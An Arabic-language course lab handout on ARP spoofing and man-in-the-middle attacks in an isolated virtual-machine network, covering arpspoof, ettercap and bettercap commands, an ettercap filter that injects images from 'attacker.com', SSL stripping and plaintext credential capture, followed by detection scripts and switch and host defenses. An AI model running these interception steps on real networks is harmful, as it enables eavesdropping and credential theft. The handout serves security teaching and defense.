المختبر 5.3: انتحال ARP وMan-in-the-Middle
الأهداف التعليمية
في نهاية هذا المختبر، ستكون قادرًا على:
- فهم بروتوكول ARP وثغراته
- تنفيذ هجوم انتحال ARP بين جهازين
- التمركز كـ Man-in-the-Middle على شبكة
- اعتراض وتحليل حركة المرور الشبكية في الوقت الفعلي
- التقاط بيانات اعتماد مرسلة بشكل واضح
- اكتشاف هجوم انتحال ARP نشط
- تنفيذ حماية ضد انتحال ARP
- فهم أهمية التشفير
المدة المقدرة
40 دقيقة
المتطلبات المسبقة
- 3 آلات افتراضية: المهاجم (Kali)، الضحية (Windows)، الموجه/البوابة (Windows أو Linux)
- شبكة داخلية VirtualBox
- تثبيت Wireshark
- فهم نموذج OSI وTCP/IP
- إكمال المختبرات 5.1 و5.2
السياق المهني
تسمح هجمات Man-in-the-Middle (MitM) عبر انتحال ARP للمهاجم على نفس الشبكة المحلية بـ:
- اعتراض جميع الاتصالات
- سرقة بيانات الاعتماد (HTTP، FTP، Telnet)
- تعديل حركة المرور أثناء العبور
- إعادة التوجيه إلى مواقع ضارة
- تنفيذ التصيد المستهدف
يستخدم في:
- اختبارات الاختراق الداخلية
- عروض الأمان
- الهجمات على الشبكات العامة WiFi
- التجسس الصناعي
- سرقة الجلسات
تحذير أخلاقي وقانوني - حرج
هذا المختبر يعلم هجومًا نشطًا على الشبكة
انتحال ARP هو هجوم يعترض اتصالات الآخرين.
مسموح به فقط:
- على شبكتك المعزولة (آلات افتراضية)
- على أنظمة اختبار تمتلكها
- في إطار اختبارات مصرح بها بعقد مكتوب
- بموافقة صريحة من جميع الأطراف
ممنوع تمامًا وغير قانوني:
- على الشبكات العامة WiFi (المقاهي، المطارات، المكتبات)
- على شبكة الشركة بدون إذن
- لاعتراض اتصالات الآخرين
- لسرقة بيانات الاعتماد أو التجسس
عواقب خطيرة للغاية:
- اعتراض الاتصالات = جريمة خطيرة (قانون جنائي المادة 184)
- مشابه للتنصت الإلكتروني
- السجن حتى 5 سنوات
- غرامات ضخمة
- سجل جنائي دائم
إعداد إلزامي:
- شبكة آلات افتراضية في وضع داخلي فقط
- لا يوجد وصول إلى الإنترنت
- بيئة معزولة تمامًا
الجزء 1: فهم ARP وثغراته
الخطوة 1.1: بروتوكول ARP (بروتوكول حل العناوين)
الدور: تحويل عنوان IP إلى عنوان MAC
مثال:
يريد الكمبيوتر التواصل مع 192.168.100.20
الكمبيوتر يعرف فقط IP، وليس عنوان MAC
الكمبيوتر يبث: "من لديه IP 192.168.100.20؟"
192.168.100.20 يجيب: "أنا! عنوان MAC الخاص بي هو AA:BB:CC:DD:EE:FF"
يمكن للكمبيوتر الآن إرسال حزم Ethernet
جدول ARP:
arp -a
النتيجة:
واجهة: 192.168.100.10
عنوان الإنترنت العنوان الفعلي النوع
192.168.100.1 00-11-22-33-44-55 ديناميكي
192.168.100.20 AA-BB-CC-DD-EE-FF ديناميكي
المشكلة: ARP ليس لديه أي مصادقة!
- يمكن لأي شخص الرد
- لا يوجد تحقق من الهوية
- ثقة عمياء
الخطوة 1.2: ثغرة ARP
هجوم انتحال ARP (تسميم ARP):
- المهاجم يرسل ردود ARP مزيفة
- الضحية تعتقد أن IP الموجه = MAC المهاجم
- الموجه يعتقد أن IP الضحية = MAC المهاجم
- كل حركة المرور تمر عبر المهاجم!
مخطط:
قبل:
الضحية (192.168.100.20) <---> الموجه (192.168.100.1)
بعد انتحال ARP:
الضحية (192.168.100.20) <---> المهاجم (192.168.100.10) <---> الموجه (192.168.100.1)
↑
Man-in-the-Middle!
أسئلة:
- لماذا ARP عرضة للخطر حسب التصميم؟
- على أي شبكة يعمل هذا الهجوم؟ (محلية/إنترنت)
الجزء 2: إعداد المختبر
الخطوة 2.1: بنية المختبر
3 آلات افتراضية مطلوبة:
VM1 - المهاجم (Kali Linux):
IP: 192.168.100.10
MAC: [لاحظها]
الدور: تنفيذ انتحال ARP
VM2 - الضحية (Windows):
IP: 192.168.100.20
MAC: [لاحظها]
الدور: هدف الهجوم
VM3 - البوابة/الموجه (Windows أو Linux):
IP: 192.168.100.1
MAC: [لاحظها]
الدور: بوابة الشبكة (محاكاة)
الشبكة: شبكة داخلية "MitmLab"
على كل آلة افتراضية، تحقق:
# Linux
ip addr
ip route
# Windows
ipconfig
route print
الخطوة 2.2: ملاحظة العناوين MAC
على كل آلة افتراضية:
Linux:
ip addr show
# ابحث عن "link/ether"
Windows:
ipconfig /all
# ابحث عن "العنوان الفعلي"
لاحظ:
VM1 (المهاجم): IP: 192.168.100.10 MAC: 08:00:27:XX:XX:XX
VM2 (الضحية): IP: 192.168.100.20 MAC: 08:00:27:YY:YY:YY
VM3 (البوابة): IP: 192.168.100.1 MAC: 08:00:27:ZZ:ZZ:ZZ
الخطوة 2.3: التحقق من الاتصال الأولي
على VM2 (الضحية)، تحقق من جدول ARP:
arp -a
يجب أن ترى:
192.168.100.1 00-11-22-33-44-55 (MAC البوابة الحقيقية)
192.168.100.10 08-00-27-XX-XX-XX (MAC المهاجم)
قم بعمل ping للبوابة:
ping 192.168.100.1
يعمل بشكل طبيعي.
أسئلة: 3. ما هو عنوان MAC الحالي للبوابة في جدول ARP للضحية؟ 4. كم عدد الإدخالات ARP الموجودة؟
الجزء 3: هجوم انتحال ARP
الخطوة 3.1: تفعيل توجيه IP
على VM1 (المهاجم)، قبل بدء الهجوم:
Linux:
echo 1 > /proc/sys/net/ipv4/ip_forward
أو
sysctl -w net.ipv4.ip_forward=1
التحقق:
cat /proc/sys/net/ipv4/ip_forward
يجب أن يعرض: 1
مهم: بدون توجيه IP، يتم حظر حركة المرور (DoS بدلاً من MitM)!
الخطوة 3.2: بدء الهجوم باستخدام arpspoof
arpspoof (أداة كلاسيكية):
الطرفية 1 - تسميم الضحية:
sudo arpspoof -i eth0 -t 192.168.100.20 192.168.100.1
الأمر:
-i eth0- واجهة الشبكة-t 192.168.100.20- الهدف (الضحية)192.168.100.1- IP للتزوير (البوابة)
النتيجة:
8:0:27:xx:xx:xx 8:0:27:yy:yy:yy 0806 42: arp reply 192.168.100.1 is-at 8:0:27:xx:xx:xx
يكرر باستمرار: "البوابة (192.168.100.1) لديها عنوان MAC الخاص بي!"
الطرفية 2 - تسميم البوابة:
sudo arpspoof -i eth0 -t 192.168.100.1 192.168.100.20
يخبر البوابة: "الضحية (192.168.100.20) لديها عنوان MAC الخاص بي!"
الآن: هجوم MitM نشط!
الخطوة 3.3: التحقق من الهجوم
على VM2 (الضحية)، تحقق من جدول ARP:
arp -a
قبل الهجوم:
192.168.100.1 00-11-22-33-44-55 (MAC البوابة الحقيقية)
بعد الهجوم:
192.168.100.1 08-00-27-XX-XX-XX (MAC المهاجم!)
تم تسميم جدول ARP!
الضحية تعتقد أن البوابة = المهاجم!
اختبر:
ping 192.168.100.1
الـ ping يعمل (بفضل توجيه IP)، لكنه يمر عبر المهاجم!
أسئلة: 5. هل تغير عنوان MAC للبوابة في جدول ARP للضحية؟ 6. هل تمر حركة المرور الآن عبر المهاجم؟
الجزء 4: اعتراض حركة المرور
الخطوة 4.1: الالتقاط باستخدام Wireshark
على VM1 (المهاجم)، شغل Wireshark:
sudo wireshark &
- اختر واجهة الشبكة (eth0)
- ابدأ الالتقاط
- كل حركة المرور للضحية يتم التقاطها!
على VM2 (الضحية)، قم بتوليد حركة مرور:
ping google.com
على Wireshark (VM1):
- فلتر:
icmp - ترى الـ pings من الضحية!
أنت تعترض حركة المرور من جهاز آخر!
الخطوة 4.2: التقاط بيانات اعتماد HTTP
على VM2 (الضحية)، قم بزيارة موقع HTTP (غير HTTPS):
مواقع اختبار قانونية:
على VM1 (Wireshark)، فلتر:
http
ترى:
- جميع الطلبات HTTP
- رؤوس كاملة
- User-Agent
- Cookies
- بيانات اعتماد واضحة إذا كان هناك تسجيل دخول!
متابعة HTTP Stream:
- انقر بزر الماوس الأيمن على حزمة HTTP
- Follow → HTTP Stream
- المحادثة الكاملة مرئية!
إذا كان موقع تسجيل دخول HTTP:
POST /login HTTP/1.1
Host: example.com
username=admin&password=SecretPassword123
تم التقاط كلمة المرور بشكل واضح!
الخطوة 4.3: الفرق بين HTTP وHTTPS
على VM2، قم بزيارة الآن:
https://google.com
على Wireshark:
- فلتر:
tlsأوssl - ترى الاتصال المشفر
- من المستحيل رؤية المحتوى!
بيانات مشفرة:
Content Type: Application Data
Encrypted Application Data: <بيانات غير مقروءة>
المقارنة:
- HTTP: كل شيء مرئي (URL، الرؤوس، كلمات المرور، المحتوى)
- HTTPS: فقط IP الوجهة مرئي، المحتوى مشفر
أسئلة: 7. هل نجحت في التقاط حركة مرور HTTP من الضحية؟ 8. هل يمكنك رؤية محتوى الطلبات HTTPS؟
الجزء 5: أدوات متقدمة لـ MitM
الخطوة 5.1: Ettercap (كامل ورسومي)
Ettercap: أداة MitM مع واجهة رسومية وميزات متقدمة
التشغيل:
sudo ettercap -G
الإعداد:
- Sniff → Unified sniffing
- اختر الواجهة (eth0)
- Hosts → Scan for hosts
- Hosts → Hosts list
- اختر الضحية → Add to Target 1
- اختر البوابة → Add to Target 2
- MitM → ARP poisoning
- حدد "Sniff remote connections"
- Start → Start sniffing
BOOM! هجوم MitM نشط مع واجهة رسومية!
الميزات:
- اكتشاف تلقائي للمضيفين
- انتحال ARP بنقرة واحدة
- التقاط كلمات المرور تلقائيًا
- فلاتر لتعديل حركة المرور
- سجلات مفصلة
الخطوة 5.2: فلاتر Ettercap (تعديل حركة المرور)
Ettercap يمكنه تعديل حركة المرور أثناء العبور!
مثال على فلتر: استبدال الصور بصور أخرى
أنشئ replace.filter:
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("img src=", "img src=\"http://attacker.com/fake.jpg\" alt=\"");
}
التجميع:
etterfilter replace.filter -o replace.ef
الاستخدام في Ettercap:
Filters → Load a filter → replace.ef
النتيجة: جميع الصور على مواقع HTTP يتم استبدالها!
الخطوة 5.3: Bettercap (حديث)
أداة حديثة وقوية:
sudo bettercap -iface eth0
أوامر تفاعلية:
# اكتشاف الشبكة
net.probe on
net.show
# انتحال ARP
set arp.spoof.targets 192.168.100.20
arp.spoof on
# التقاط بيانات الاعتماد
set net.sniff.verbose true
net.sniff on
# تجريد HTTP(S)
set http.proxy.sslstrip true
http.proxy on
واجهة الويب:
sudo bettercap -iface eth0 -caplet http-ui
الوصول: http://127.0.0.1:80 (واجهة ويب كاملة!)
أسئلة: 9. أي أداة تفضل (arpspoof، ettercap، bettercap)؟ 10. هل يمكن لـ Bettercap تخفيض HTTPS إلى HTTP؟
الجزء 6: اكتشاف انتحال ARP
الخطوة 6.1: الاكتشاف اليدوي
على جهاز، راقب جدول ARP:
PowerShell:
while ($true) {
Clear-Host
Write-Host "=== ARP TABLE MONITORING ===" -ForegroundColor Cyan
arp -a
Start-Sleep -Seconds 2
}
الملاحظة:
- إذا تغير IP من MAC بشكل متكرر: مشبوه!
- إذا كان هناك IPان لهما نفس MAC: انتحال ARP!
مثال على الشذوذ:
192.168.100.1 08-00-27-AA-AA-AA
192.168.100.10 08-00-27-AA-AA-AA <- نفس MAC = هجوم!
الخطوة 6.2: الاكتشاف باستخدام الأدوات
arpwatch (Linux):
sudo apt install arpwatch
sudo arpwatch -i eth0
السجلات في: /var/log/arpwatch.log
تنبيه على:
- مضيفون جدد
- تغييرات MAC
- Flip-flop (تغير MAC ثم العودة)
XArp (Windows):
- أداة GUI لمراقبة ARP
- تنبيهات في الوقت الحقيقي
- مجاني
سكريبت PowerShell للاكتشاف:
$baseline = @{}
arp -a | ForEach-Object {
if ($_ -match '(\d+\.\d+\.\d+\.\d+)\s+([\w-]+)') {
$baseline[$matches[1]] = $matches[2]
}
}
while ($true) {
Start-Sleep -Seconds 5
$current = @{}
arp -a | ForEach-Object {
if ($_ -match '(\d+\.\d+\.\d+\.\d+)\s+([\w-]+)') {
$current[$matches[1]] = $matches[2]
}
}
# المقارنة
foreach ($ip in $baseline.Keys) {
if ($current[$ip] -and $current[$ip] -ne $baseline[$ip]) {
Write-Host "ALERT: IP $ip MAC changed!" -ForegroundColor Red
Write-Host " Was: $($baseline[$ip])"
Write-Host " Now: $($current[$ip])"
}
}
$baseline = $current.Clone()
}
الخطوة 6.3: اكتشاف الشبكة
مع Nmap:
nmap --script=arp-scan 192.168.100.0/24
يكتشف:
- تكرارات عناوين MAC
- ردود ARP مشبوهة
أسئلة: 11. هل ينبه سكريبت الاكتشاف الخاص بك أثناء الهجوم؟ 12. كم من الوقت يستغرق لاكتشاف الهجوم؟
الجزء 7: الدفاعات ضد انتحال ARP
الخطوة 7.1: ARP ثابت
تحديد إدخالات ARP ثابتة (غير قابلة للتعديل):
arp -s 192.168.100.1 00-11-22-33-44-55
التحقق:
arp -a
النوع: static بدلاً من dynamic
الميزة: محصن ضد انتحال ARP!
العيب: إعداد يدوي، صيانة صعبة
الخطوة 7.2: أمان المنافذ (المحول)
على محول مدار:
إعداد أمان المنافذ لـ:
- تحديد عدد MACs لكل منفذ
- ربط MAC بمنفذ محدد
- إيقاف المنفذ إذا حدث انتهاك
مثال على إعداد Cisco:
interface FastEthernet0/1
switchport mode access
switchport port-security
switchport port-security maximum 1
switchport port-security violation shutdown
switchport port-security mac-address sticky
النتيجة: MAC واحد فقط مسموح به لكل منفذ، التغيير = إيقاف!
الخطوة 7.3: الحلول البرمجية
Windows:
- XArp (مراقبة وتنبيهات)
- ArpON (خدمة حماية)
Linux:
- arpwatch (مراقبة)
- ArpON (حماية نشطة)
جدار الحماية:
- قواعد لحظر حركة المرور غير الطبيعية
- فحص ARP
التقسيم:
- VLANs لعزل المناطق الحساسة
- تحديد نطاق الهجمات MitM
أسئلة: 13. ما هي الطريقة الأكثر فعالية للحماية؟ 14. هل من الواقعي إعداد ARP ثابت على شبكة كبيرة؟
الجزء 8: سيناريوهات حقيقية
الخطوة 8.1: هجوم WiFi العام
سيناريو نموذجي:
- مقهى مع WiFi عام
- المهاجم يتصل بنفس الشبكة
- يبدأ انتحال ARP
- يعترض كل حركة المرور للعملاء
- يلتقط بيانات الاعتماد، الكوكيز، البيانات
البيانات الملتقطة:
- تسجيلات الدخول على مواقع HTTP
- كوكيز الجلسة
- رسائل البريد الإلكتروني (إذا كان POP3/IMAP غير مشفر)
- بيانات اعتماد FTP
- عمليات البحث على الويب
حماية المستخدم:
- VPN على WiFi العام (إلزامي!)
- فقط HTTPS
- لا بنوك/بريد إلكتروني على WiFi العام
الخطوة 8.2: شبكة الشركة
مهاجم داخلي أو عبر التصيد:
- اختراق أولي لجهاز
- انتحال ARP على الجزء الشبكي
- اعتراض حركة المرور
- التقاط بيانات اعتماد المجال
- حركة جانبية ببيانات الاعتماد المسروقة
- اختراق كامل للشبكة
الوقت: قد يستغرق بضع ساعات فقط!
الخطوة 8.3: هجوم مشترك
انتحال ARP + انتحال DNS:
- MitM نشط عبر ARP
- تعديل ردود DNS
- إعادة التوجيه إلى مواقع مزيفة (تصيد)
- سرقة بيانات الاعتماد حتى على HTTPS (مع شهادة موقعة ذاتيًا + تحذير متجاهل)
مع Ettercap:
- انتحال DNS مدمج
- تعديل حركة المرور
- تجريد SSL (تخفيض HTTPS → HTTP)
أسئلة: 15. لماذا تعتبر الشبكات العامة WiFi خطيرة بشكل خاص؟ 16. كيف يحمي VPN من انتحال ARP؟
التسليمات
لتسليم:
-
تقرير هجوم MitM (Word/PDF، 4-5 صفحات):
- إجابات على 16 سؤال
- وصف كامل لبنية المختبر
- منهجية الهجوم خطوة بخطوة
- تحليل حركة المرور الملتقطة
- الوقت المطلوب للهجوم
-
لقطات شاشة (الحد الأدنى 8):
- جدول ARP قبل الهجوم (الضحية)
- جدول ARP بعد الهجوم (الضحية المعدلة)
- arpspoof في العمل (الطرفية)
- Wireshark يلتقط حركة المرور من الضحية
- HTTP stream مع بيانات اعتماد مرئية
- HTTPS stream (مشفر)
- واجهة Ettercap
- سكريبت الاكتشاف ينبه
-
ملفات الالتقاط:
- Wireshark .pcapng مع حركة المرور الملتقطة
- سجلات ettercap أو bettercap
-
وثائق الدفاع (2 صفحات):
- تدابير الاكتشاف الموصى بها
- حلول الحماية حسب الطبقة (الشبكة، المضيف، التطبيق)
- سياسة أمان WiFi
معايير التقييم
| المعيار | النقاط |
|---|---|
| هجوم انتحال ARP ناجح | 30% |
| اعتراض وتحليل حركة المرور | 25% |
| اكتشاف هجوم نشط | 20% |
| فهم الدفاعات | 15% |
| جودة الوثائق واللقطات | 10% |
أوامر مرجعية سريعة
التحضير
echo 1 > /proc/sys/net/ipv4/ip_forward
sysctl -w net.ipv4.ip_forward=1
انتحال ARP
# arpspoof
sudo arpspoof -i eth0 -t VICTIME GATEWAY
sudo arpspoof -i eth0 -t GATEWAY VICTIME
# ettercap
sudo ettercap -T -M arp:remote /VICTIME// /GATEWAY//
sudo ettercap -G # GUI
# bettercap
sudo bettercap -iface eth0
> set arp.spoof.targets VICTIME
> arp.spoof on
الاكتشاف
arp -a # تحقق من جدول ARP
arpwatch -i eth0 # مراقبة
nmap --script arp-scan NETWORK
التنظيف
# إيقاف arpspoof: Ctrl+C
# على الضحية، تفريغ ذاكرة ARP:
arp -d # Windows
sudo ip -s -s neigh flush all # Linux
استكشاف الأخطاء وإصلاحها
المشكلة: الضحية تفقد الاتصال أثناء الهجوم
الحل: لم يتم تفعيل توجيه IP على المهاجم. تحقق:
cat /proc/sys/net/ipv4/ip_forward
يجب أن يكون 1.
المشكلة: لا يتم التقاط أي حركة مرور
الحلول:
- تحقق من أن كلا من arpspoof يعملان (الضحية والبوابة)
- تحقق من أن Wireshark يستمع على الواجهة الصحيحة
- قم بتوليد حركة مرور من الضحية
المشكلة: جدول ARP لا يتغير
الحل:
- هل يعمل arpspoof حقًا؟ تحقق من المخرجات
- قد يقوم جدار الحماية بحظر ARP
- بعض المحولات لديها حماية ARP (أمان المنافذ)
الخاتمة
هذا المختبر علمك:
- بروتوكول ARP وثغراته الأساسية
- تنفيذ هجوم Man-in-the-Middle عبر انتحال ARP
- اعتراض حركة المرور الشبكية في الوقت الفعلي
- التقاط بيانات اعتماد مرسلة بشكل واضح
- اكتشاف هجمات ARP النشطة
- تدابير حماية متعددة الطبقات
الدروس الرئيسية:
- ARP ليس لديه أمان حسب التصميم (ثقة عمياء)
- المهاجم على الشبكة المحلية يمكنه اعتراض كل حركة المرور غير المشفرة
- HTTP معرض تمامًا لـ MitM
- HTTPS يحمي من الاعتراض (أهمية التشفير)
- WiFi العام = خطر شديد بدون VPN
- الاكتشاف ممكن لكن الحماية معقدة
الوعي:
- لا تستخدم HTTP أبدًا للبيانات الحساسة
- VPN إلزامي على WiFi العام
- التشفير = الحماية الحقيقية الوحيدة
- الشبكة المحلية ≠ شبكة آمنة
ملخص MODULE 5:
أنت الآن تتقن التعرف الكامل على الشبكة:
- المختبر 5.1: Nmap (رسم خرائط الشبكة، اكتشاف الثغرات)
- المختبر 5.2: تعداد DNS (اكتشاف البنية التحتية)
- المختبر 5.3: انتحال ARP (اعتراض نشط)
مجتمعة، تتيح هذه التقنيات التعرف الكامل على الشبكة واختراقها!
تم تطوير المختبر في إطار دورة أنظمة التشغيل - MODULE 5